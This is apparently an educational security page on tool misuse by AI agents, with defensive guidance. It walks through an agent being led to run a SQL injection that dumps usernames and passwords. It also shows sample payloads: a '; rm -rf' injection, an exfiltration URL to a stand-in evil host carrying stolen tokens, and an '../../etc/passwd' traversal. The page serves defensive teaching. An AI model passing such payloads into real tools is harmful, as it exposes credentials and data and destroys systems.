ASI02: Tool Misuse & Exploitation
How attackers exploit poorly validated inputs, over-privileged tool sets, or implicit trust boundaries to manipulate external systems and database connections.
The Power of Execution: Over-Privileged Integrations
AI agents are useless without tools. To automate tasks, developers expose internal libraries, SQL clients, email APIs, and web scrapers to the model. However, the model acts as an unauthenticated shell interface. If an agent has access to a tool, and that tool does not validate its parameters, any user who can influence the agent's context can execute commands directly on the host system.
Tool Misuse differs from standard application exploits. Here, the target is the semantic bridge between the LLM and the tool. Because models generate text dynamically, they frequently generate malformed, unexpected, or malicious arguments (such as shell meta-characters or SQL primitives) that pass straight into backends without validation.
Click the card to reveal the explanation
Querying the Enterprise Database
An internal support agent uses a read-only database query tool to answer natural language questions about customer tickets. The tool accepts a string representing the table name and a query parameter.
An attacker interacts with the agent and asks: "Find all tickets where customer name is 'Admin' UNION SELECT username, password FROM users; --'". The agent reads this request and passes the query directly to the database connection.
Instead of executing a parameterized lookup, the raw SQL statement is evaluated by the database engine. The tool returns a list of usernames and passwords, which the agent outputs back to the user as a friendly table.
- The tool accepted raw, concatenated SQL inputs
- The agent acted as a confused deputy, executing queries without validation
- No input schema or parameter binding was enforced
- Mitigated by parameter binding and strictly separating DB models from agent inputs
Critical Tool Exploitation Vectors
Parameter Smuggling
Attackers inject malicious flags or parameters (like `--overwrite` or `; rm -rf`) into strings that the model passes to command-line utility tools, leading to Remote Code Execution (RCE).
Exfiltration Side-Channels
Tricking search tools or webhook runners to execute requests containing sensitive state variables. For example, forcing a browser tool to visit a custom URL: `http://evil-endpoint.net/?data=[stolen_tokens]`.
Unrestricted File Access
Equipping an agent with tools like `read_file` or `write_file` without pinning the directory root, allowing directory traversal (`../../etc/passwd`) or overwriting configuration files.
Securing the Tool-Agent Boundary
1 / 4📋 Define Strict JSON Schemas
Never expose raw text strings to CLI or database tools. Enforce structured JSON schemas with tight type validation (enums, regex patterns, integer bounds) for every tool parameter.
📂 Apply Directory Sandboxing
If the agent has file tools, sandbox them to a specific scratch subdirectory using path normalization. Block traversal attempts like `..` immediately at the runtime level.
💾 Enforce Read-Only Database Connections
Connect database tools using restricted read-only credentials. Never allow agents to execute raw SQL; use pre-defined parameters or ORMs with strict access controls.
📊 Use Gateway Budgeting
Limit the rate and volume of data a tool can transmit or retrieve in a single session. This mitigates massive exfiltration attacks or automated looping table dumps.
Tool Governance Standards
- Input Validation First. Tools must validate arguments programmatically (e.g., using Pydantic or schema libraries) before invoking any background code. Never trust the LLM's parameter choices.
- Egress Controls. Block out-of-band network calls from tool environments. Allowlist only the specific API endpoints required for the tool's core operations.
- Human-in-the-Loop (HITL). Enforce hard checkpoints for tools that execute updates, deletions, or external communication (sending emails, committing code, transferring funds).